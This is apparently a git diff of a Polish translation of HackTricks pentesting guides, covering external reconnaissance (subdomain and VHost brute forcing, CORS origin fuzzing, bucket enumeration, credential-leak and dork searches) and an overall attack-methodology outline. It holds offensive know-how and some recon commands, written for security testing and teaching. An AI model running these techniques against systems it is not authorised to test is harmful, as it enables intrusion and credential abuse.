* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer siły brutalnej subdomen połączony z niezwykle prostym, ale skutecznym algorytmem prowadzonym przez odpowiedź DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozwijać je nawet dalej w pętli na podstawie informacji zebranych podczas skanowania DNS.
```
echo www | subzuf facebook.com
```
### **Workflow Odkrywania Subdomen**
Sprawdź ten wpis na blogu, który napisałem o tym, jak **zautomatyzować odkrywanie subdomen** z domeny przy użyciu **najtrudniejszych schematów pracy**, aby nie musiał ręcznie uruchamiać wielu narzędzi na swoim komputerze:
Sprawdź ten wpis na blogu, który napisałem o tym, jak **zautomatyzować odkrywanie subdomen** z domeny przy użyciu **najtrudniejszych workflowów**, aby nie musiał ręcznie uruchamiać wielu narzędzi na swoim komputerze:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### **VHosts / Hosty Wirtualne**
### **VHosts / Wirtualne Hosty**
Jeśli znalazłeś adres IP zawierający **jedną lub kilka stron internetowych** należących do subdomen, możesz spróbować **znaleźć inne subdomeny z witrynami na tym IP**, szukając w **źródłach OSINT** domen na danym IP lub **próbując siłowo nazwy domen VHost na tym IP**.
#### OSINT
Możesz znaleźć niektóre **Hosty Wirtualne w IP za pomocą** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **lub innych interfejsów API**.
Możesz znaleźć niektóre **VHosty w IP za pomocą** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **lub innych interfejsów API**.
**Atak Siłowy**
@ -448,35 +453,35 @@ VHostScan -t example.com
Dzięki tej technice możesz nawet uzyskać dostęp do wewnętrznych/ukrytych punktów końcowych.
{% endhint %}
### **CORS Brute Force**
### **Atak Brute Force CORS**
Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy prawidłowa domena/poddomena jest ustawiona w nagłówku _**Origin**_. W tych scenariuszach możesz nadużyć tego zachowania, aby **odkryć** nowe **poddomeny**.
Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy prawidłowa domena/poddomena jest ustawiona w nagłówku _**Origin**_. W takich scenariuszach możesz wykorzystać to zachowanie do **odkrywania** nowych **poddomen**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Atak siłowy na kubełki**
### **Siła Brutalna Kubłów**
Podczas poszukiwania **poddomen** zwróć uwagę, czy nie wskazują one na jakikolwiek rodzaj **kubełka**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Ponadto, w tym momencie będąc już zaznajomionym ze wszystkimi domenami w zakresie, spróbuj [**przeprowadzić atak siłowy na możliwe nazwy kubełków i sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Podczas poszukiwania **poddomen** zwróć uwagę, czy nie wskazują one na jakikolwiek rodzaj **kubła**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Ponadto, w tym momencie będziesz znać wszystkie domeny w zakresie, spróbuj [**przeprowadzić brutalną siłę na możliwych nazwach kubłów i sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorowanie**
Możesz **monitorować**, czy **nowe poddomeny** domeny są tworzone poprzez monitorowanie **logów Transparentności Certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
Możesz **monitorować**, czy **nowe poddomeny** domeny są tworzone poprzez monitorowanie **Logów Transparentności Certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) robi to.
### **Poszukiwanie podatności**
Sprawdź możliwe [**przejęcia poddomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Jeśli **poddomena** wskazuje na **kubełek S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Jeśli **poddomena** wskazuje na **kubek S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Jeśli znajdziesz jakąkolwiek **poddomenę z innym adresem IP** niż te, które już znalazłeś podczas odkrywania zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) przy użyciu **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do ich "atakowania"**.\
_Zauważ, że czasami poddomena jest hostowana pod adresem IP, który nie jest kontrolowany przez klienta, więc nie jest w zakresie, bądź ostrożny._
Jeśli znajdziesz jakąkolwiek **poddomenę z innym adresem IP** niż te, które już znalazłeś podczas odkrywania zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) z **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
_Zauważ, że czasami poddomena jest hostowana wewnątrz adresu IP, który nie jest kontrolowany przez klienta, więc nie jest w zakresie, bądź ostrożny._
## Adresy IP
W początkowych krokach możesz **znaleźć pewne zakresy IP, domeny i poddomeny**.\
Nadszedł czas, aby **zbierać wszystkie adresy IP z tych zakresów** oraz dla **domen/poddomen (zapytania DNS).**
Korzystając z usług poniższych **darmowych interfejsów API**, możesz również znaleźć **poprzednie adresy IP używane przez domeny i poddomeny**. Te adresy IP mogą nadal należeć do klienta (i mogą pozwolić Ci na znalezienie [**obejść CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
Korzystając z usług następujących **darmowych interfejsów API**, możesz również znaleźć **poprzednie adresy IP używane przez domeny i poddomeny**. Te adresy IP mogą nadal należeć do klienta (i mogą pozwolić Ci znaleźć [**obejścia CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/)
@ -486,33 +491,33 @@ Możesz również sprawdzić domeny wskazujące na określony adres IP za pomoc
**Skanuj porty wszystkich adresów IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych uruchomionych usługach możesz **znaleźć podatności**.
Znajdź [**przewodnik**](../pentesting-network/) **o tym, jak skanować hosty.**
Znajdź **przewodnik** [**tutaj**](../pentesting-network/) **o tym, jak skanować hosty.**
## Polowanie na serwery WWW
> Znaleźliśmy wszystkie firmy i ich zasoby, znamy zakresy IP, domeny i poddomeny w zakresie. Czas poszukać serwerów WWW.
W poprzednich krokach prawdopodobnie już przeprowadziłeś **rekonesans odkrytych adresów IP i domen**, więc możesz **już znaleźć wszystkie możliwe serwery WWW**. Jeśli jednak nie, teraz zobaczymy **szybkie sztuczki do wyszukiwania serwerów WWW** w zakresie.
W poprzednich krokach prawdopodobnie już przeprowadziłeś **rekonesans odkrytych adresów IP i domen**, więc możesz **już znaleźć wszystkie możliwe serwery WWW**. Jeśli jednak nie, teraz zobaczymy kilka **szybkich sztuczek do wyszukiwania serwerów WWW** w zakresie.
Należy zauważyć, że będzie to **zorientowane na odkrywanie aplikacji internetowych**, więc powinieneś również **przeprowadzić skan podatności** i **portów** również (**jeśli zezwala na to** zakres).
Należy zauważyć, że będzie to **zorientowane na odkrywanie aplikacji internetowych**, więc powinieneś również **przeprowadzić skanowanie podatności** i **portów** również (**jeśli zezwala na to** zakres).
**Szybka metoda** odkrywania **otwartych portów** związanych z **serwerami WWW** za pomocą [**masscan można znaleźć tutaj**](../pentesting-network/#http-port-discovery).\
Innym przyjaznym narzędziem do poszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo, można wskazać próbę połączenia z innymi portami:
Innym przyjaznym narzędziem do poszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo, można wskazać, aby spróbował innych portów:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Zrzuty ekranu**
Teraz, gdy odkryłeś **wszystkie serwery WWW** obecne w zakresie (wśród **adresów IP** firmy oraz wszystkich **domen** i **poddomen**), prawdopodobnie **nie wiesz, od czego zacząć**. Dlatego zróbmy to prosto i zacznijmy od zrobienia zrzutów ekranu wszystkich z nich. Tylko **spojrzenie** na **stronę główną** może ujawnić **dziwne** punkty końcowe, które są bardziej **podatne** na **zagrożenia**.
Teraz, gdy odkryłeś **wszystkie serwery WWW** obecne w zakresie (wśród **adresów IP** firmy oraz wszystkich **domen** i **subdomen**), prawdopodobnie **nie wiesz, od czego zacząć**. Dlatego zróbmy to prosto i zacznijmy od zrobienia zrzutów ekranu wszystkich z nich. Już tylko **spojrzenie** na **stronę główną** może ujawnić **dziwne** punkty końcowe, które są bardziej **podatne** na **zagrożenia**.
Aby wykonać proponowany pomysł, możesz użyć [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) lub [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Ponadto, możesz użyć [**eyeballer**](https://github.com/BishopFox/eyeballer), aby przejrzeć wszystkie **zrzuty ekranu** i powiedzieć Ci, co **najprawdopodobniej zawiera podatności**, a co nie.
Ponadto, możesz użyć [**eyeballer**](https://github.com/BishopFox/eyeballer), aby przejrzeć wszystkie **zrzuty ekranu** i powiedzieć Ci, **co najprawdopodobniej zawiera podatności**, a co nie.
## Zasoby w Chmurze Publicznej
Aby znaleźć potencjalne zasoby w chmurze należące do firmy, powinieneś **zaczynać od listy słów kluczowych identyfikujących tę firmę**. Na przykład, dla firmy kryptowalutowej możesz użyć słów takich jak: `"crypto", "wallet", "dao", "<nazwa_domeny>", <"nazwy_poddomen">`.
Aby znaleźć potencjalne zasoby w chmurze należące do firmy, powinieneś **zaczynać od listy słów kluczowych identyfikujących tę firmę**. Na przykład, dla firmy kryptowalutowej możesz użyć słów takich jak: `"crypto", "wallet", "dao", "<nazwa_domeny>", <"nazwy_subdomen">`.
Będziesz także potrzebował list słów **często używanych w kubełkach**:
@ -524,7 +529,7 @@ Następnie, z tymi słowami powinieneś generować **permutacje** (sprawdź [**D
Z uzyskanych list słów możesz użyć narzędzi takich jak [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **lub** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Pamiętaj, że szukając Zasobów w Chmurze powinieneś **szukać więcej niż tylko kubełków w AWS**.
Pamiętaj, że szukając Zasobów w Chmurze powinieneś **szukać czegoś więcej niż tylko kubełków w AWS**.
### **Szukanie podatności**
@ -532,7 +537,7 @@ Jeśli znajdziesz rzeczy takie jak **otwarte kubełki lub funkcje chmurowe wysta
## Emaile
Dzięki **domenom** i **poddomenom** w zakresie masz praktycznie wszystko, czego potrzebujesz, aby zacząć szukać adresów e-mail. Oto **API** i **narzędzia**, które najlepiej sprawdziły się dla mnie w poszukiwaniu adresów e-mail firmy:
Dzięki **domenom** i **subdomenom** w zakresie masz praktycznie wszystko, czego potrzebujesz, aby zacząć szukać adresów e-mail. Oto **API** i **narzędzia**, które najlepiej sprawdziły się dla mnie w poszukiwaniu adresów e-mail firmy:
* [**theHarvester**](https://github.com/laramies/theHarvester) - z użyciem API
* API [**https://hunter.io/**](https://hunter.io/) (wersja darmowa)
@ -545,7 +550,7 @@ Emaile przydadzą się później do **prób siłowych logowania na strony intern
## Wycieki Poświadczeń
Dzięki **domenom**, **poddomenom** i **emailom** możesz zacząć szukać wycieków poświadczeń z przeszłości należących do tych emaili:
Dzięki **domenom**, **subdomenom** i **emailom** możesz zacząć szukać wycieków poświadczeń, które miały miejsce w przeszłości i należą do tych adresów e-mail:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
@ -556,31 +561,31 @@ Jeśli znajdziesz **ważne wycieki** poświadczeń, to bardzo łatwe zwycięstwo
## Wycieki Sekretów
Wycieki poświadczeń są związane z atakami na firmy, w których **wrażliwe informacje zostały ujawnione i sprzedane**. Jednak firmy mogą być dotknięte również przez **inne wycieki**, których informacje nie znajdują się w tych bazach danych:
Wycieki poświadczeń są związane z atakami na firmy, w których **wyciekły i zostały sprzedane poufne informacje**. Jednak firmy mogą być dotknięte również przez **inne wycieki**, których informacje nie znajdują się w tych bazach danych:
### Wycieki z Githuba
Poświadczenia i interfejsy API mogą być wyciekane w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących w tej firmie na Githubie.\
Poświadczenia i interfejsy API mogą wyciec w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących w tej firmie na Githubie.\
Możesz użyć narzędzia [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** organizacji i jej deweloperów i automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
**Leakos** może również być używany do uruchamiania **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ach przekazanych** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
**Leakos** może być również używany do uruchamiania **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ów przekazanych** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
#### Dorki z Githuba
#### Dorki Githuba
Sprawdź również**stronę** w poszukiwaniu potencjalnych **dorków z Githuba**, których również możesz szukać w organizacji, którą atakujesz:
Sprawdź także**stronę** w poszukiwaniu potencjalnych **dorków Githuba**, których również możesz szukać w organizacji, którą atakujesz:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Wycieki z Paste
### Wycieki Paste
Czasami atakujący lub po prostu pracownicy **publikują treści firmy na stronach do wklejania**. Mogą one zawierać **wrażliwe informacje** lub nie, ale warto je przeszukać.\
Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), aby przeszukać ponad 80 stron do wklejania jednocześnie.
Czasami atakujący lub po prostu pracownicy **opublikują treści firmy na stronie z wklejkami**. Mogą one zawierać **informacje poufne** lub nie, ale warto je sprawdzić.\
Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), aby jednocześnie przeszukać ponad 80 stron z wklejkami.
### Dorki z Google
### Dorki Google
Stare, ale złote dorki z Google zawsze są przydatne do znalezienia **ujawnionych informacji, które nie powinny się tam znajdować**. Jedynym problemem jest to, że [**baza danych google-hacking**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie można uruchomić ręcznie. Dlatego możesz wybrać swoje ulubione 10 lub skorzystać z **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do uruchomienia ich wszystkich**.
Stare, ale złote dorki Google zawsze są przydatne do znalezienia **ujawnionych informacji, które tam nie powinny być**. Jedynym problemem jest to, że [**baza danych google-hacking**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie można uruchomić ręcznie. Dlatego możesz wybrać swoje ulubione 10 lub skorzystać z **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do ich uruchomienia wszystkich**.
_Zauważ, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą zwykłej przeglądarki Google, nigdy się nie zakończą, ponieważ Google bardzo szybko Cię zablokuje._
@ -590,9 +595,9 @@ Jeśli znajdziesz **ważne wycieki** poświadczeń lub tokenów API, to bardzo
## Publiczne Podatności Kodu
Jeśli odkryłeś, że firma ma **kod źródłowy o otwartym kodzie**, możesz go **analizować** i szukać na nim **podatności**.
Jeśli odkryłeś, że firma ma **kod open-source**, możesz go **analizować** i szukać na nim **podatności**.
W zależności od języka istnieją różne **narzędzia**, których możesz użyć:
W zależności od języka są różne **narzędzia**, których możesz użyć:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
@ -601,11 +606,11 @@ W zależności od języka istnieją różne **narzędzia**, których możesz uż
Istnieją również bezpłatne usługi, które pozwalają **skanować publiczne repozytoria**, takie jak:
* [**Snyk**](https://app.snyk.io/)
## [**Metodologia testowania penetracyjnego aplikacji internetowych**](../../network-services-pentesting/pentesting-web/)
## [**Metodologia testowania aplikacji internetowych**](../../network-services-pentesting/pentesting-web/)
**Większość podatności** znajdowanych przez łowców błędów znajduje się w **aplikacjach internetowych**, dlatego w tym momencie chciałbym omówić **metodologię testowania aplikacji internetowych**, którą możesz [**znaleźć tutaj**](../../network-services-pentesting/pentesting-web/).
**Większość podatności** znajdowanych przez łowców błędów znajduje się w **aplikacjach internetowych**, dlatego chciałbym teraz omówić **metodologię testowania aplikacji internetowych**, którą możesz [**znaleźć tutaj**](../../network-services-pentesting/pentesting-web/).
Chciałbym również wspomnieć o sekcji [**Otwarte narzędzia skanujące automatycznie strony internetowe**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, chociaż nie powinieneś oczekiwać, że znajdą one bardzo wrażliwe podatności, są przydatne do implementacji ich w **przepływach pracy w celu uzyskania początkowych informacji o stronie internetowej.**
Chciałbym również wspomnieć o sekcji [**Otwarte narzędzia skanujące automatycznie strony internetowe**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, chociaż nie powinieneś oczekiwać, że znajdą one bardzo wrażliwe podatności, są przydatne do implementacji w **przepływach pracy w celu uzyskania początkowych informacji o stronie internetowej.**
## Podsumowanie
@ -618,8 +623,8 @@ Więc już:
3. Znalazłeś wszystkie **domeny** należące do firm
4. Znalazłeś wszystkie **subdomeny** domen (jakiekolwiek przejęcie subdomeny?)
5. Znalazłeś wszystkie **adresy IP** (z i **bez CDN**) w zakresie.
6. Znalazłeś wszystkie **serwery internetowe** i zrobiłeś **zrzut ekranu** z nich (czy coś dziwnego warte głębszego zbadania?)
7. Znalazłeś wszystkie **potencjalne zasoby publiczne w chmurze** należące do firmy.
6. Znalazłeś wszystkie **serwery internetowe** i wykonałeś **zrzut ekranu** z nich (czy coś dziwnego warte głębszego zbadania?)
7. Znalazłeś wszystkie **potencjalne zasoby publicznych chmur** należące do firmy.
8. **Emaile**, **wycieki poświadczeń** i **wycieki tajemnic**, które mogą dać Ci **duże zwycięstwo bardzo łatwo**.
9. **Testowanie penetracyjne wszystkich stron internetowych, które znalazłeś**
@ -636,15 +641,15 @@ Istnieje wiele narzędzi, które wykonają część proponowanych działań w ok
* Wszystkie darmowe kursy od [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia łowcy błędów v4.0 - Edycja Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwego do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwego do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w piśmie i mowie_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i zostań ekspertem AWS hackingu z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_).
@ -28,7 +28,7 @@ _Loga Hacktricks zaprojektowane przez_ [_@ppiernacho_](https://www.instagram.com
### 0- Ataki Fizyczne
Masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../physical-attacks/physical-attacks.md) oraz inne dotyczące [**ucieczki z aplikacji GUI**](../physical-attacks/escaping-from-gui-applications/).
Masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../physical-attacks/physical-attacks.md) oraz innych dotyczących [**ucieczki z aplikacji GUI**](../physical-attacks/escaping-from-gui-applications/).
### 1 - [Odkrywanie hostów w sieci](pentesting-network/#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/)
@ -41,21 +41,21 @@ Zauważ, że jeśli wykonujesz test zewnętrzny i uda ci się uzyskać dostęp d
### **2-** [**Zabawa z siecią**](pentesting-network/) **(Wewnętrzny)**
**Ta sekcja dotyczy tylko testów wewnętrznych.**\
Zanim zaatakujesz hosta, może wolisz **ukraść pewne poświadczenia** **z sieci** lub **przechwycić** pewne **dane**, aby **pasywnie/aktywnie (MitM)** dowiedzieć się, co znajdziesz w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/#sniffing).
Przed atakowaniem hosta może być lepiej **ukraść pewne poświadczenia** **z sieci** lub **przechwycić** pewne **dane**, aby pasywnie/aktywnie (MitM) dowiedzieć się, co można znaleźć w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/#sniffing).
### 3- [Skanowanie portów - Odkrywanie usług](pentesting-network/#scanning-hosts)
Pierwszą rzeczą do zrobienia, gdy **szukasz podatności w hoście**, jest poznanie, które **usługi działają na których portach**. Zobaczmy [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
Pierwszą rzeczą do zrobienia, gdy **szukasz podatności w hoście**, jest poznanie, które **usługi działają na których portach**. Zobacz [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
### **4-** [Wyszukiwanie exploitów wersji usługi](search-exploits.md)
### **4-** [Wyszukiwanie eksploitów wersji usługi](search-exploits.md)
Gdy już wiesz, które usługi działają, a może nawet ich wersję, musisz **szukać znanych podatności**. Być może masz szczęście i istnieje exploit, który da ci dostęp do powłoki...
Gdy już wiesz, które usługi działają, a może nawet ich wersję, musisz **szukać znanych podatności**. Być może masz szczęście i istnieje eksploit, który da ci dostęp do powłoki...
### **5-** Testowanie Usług
Jeśli nie ma żadnego spektakularnego exploitu dla żadnej działającej usługi, powinieneś szukać **częstych błędów konfiguracyjnych w każdej działającej usłudze**.
Jeśli nie ma żadnego spektakularnego eksploitu dla żadnej działającej usługi, powinieneś szukać **powszechnych błędów konfiguracyjnych w każdej działającej usłudze**.
**W tej książce znajdziesz przewodnik po testowaniu penetracyjnym najczęstszych usług** (i innych, które nie są tak powszechne)**. Proszę, szukaj w lewym indeksie sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
**W tej książce znajdziesz przewodnik po testowaniu penetracyjnym najczęściej używanych usług** (oraz tych mniej popularnych)**. Proszę, szukaj w lewym indeksie sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
**Chciałbym zwrócić uwagę na** [**część Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest najbardziej obszerna).**\
Ponadto, mały przewodnik dotyczący [**znajdowania znanych podatności w oprogramowaniu**](search-exploits.md) można znaleźć tutaj.
@ -72,11 +72,11 @@ W niektórych scenariuszach **Atak Brute-Force** może być przydatny do **skomp
### 6- [Phishing](phishing-methodology/)
Jeśli do tej pory nie znalazłeś żadnej interesującej podatności, **może być konieczne przeprowadzenie phishingu** w celu dostania się do sieci. Możesz przeczytać moją metodologię phishingu [tutaj](phishing-methodology/):
Jeśli do tej pory nie znalazłeś żadnej interesującej podatności, **może musisz spróbować phishingu**, aby dostać się do sieci. Możesz przeczytać moją metodologię phishingu [tutaj](phishing-methodology/):
### **7-** [**Uzyskiwanie powłoki**](shells/)
### **7-** [**Uzyskiwanie Powłoki**](shells/)
W jakiś sposób powinieneś znaleźć **sposób wykonania kodu** na ofierze. Następnie, [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania odwrotnej powłoki, byłaby bardzo przydatna](shells/).
W jakiś sposób powinieneś znaleźć **sposób na wykonanie kodu** na ofierze. Następnie, [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania odwrotnej powłoki, byłaby bardzo przydatna](shells/).
Szczególnie w systemie Windows możesz potrzebować pomocy, aby **uniknąć antywirusów**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.**\\
@ -122,7 +122,7 @@ Znajdź tutaj różne sposoby na [**wydobywanie haseł w systemie Windows**](bro
**Użyj 2 lub 3 różnych typów mechanizmów utrzymywania dostępu, aby nie musieć ponownie wykorzystywać systemu.**\
**Tutaj znajdziesz kilka** [**sztuczek utrzymywania dostępu w Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Uzupełnij post o utrzymaniu dostępu w systemach Windows i Linux
TODO: Uzupełnij post o utrzymaniu dostępu w Windows i Linux
### 12 - Pivoting
@ -149,9 +149,9 @@ Sprawdź również stronę dotyczącą [**NTLM**](../windows-hardening/ntlm/), m
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -10,13 +10,13 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
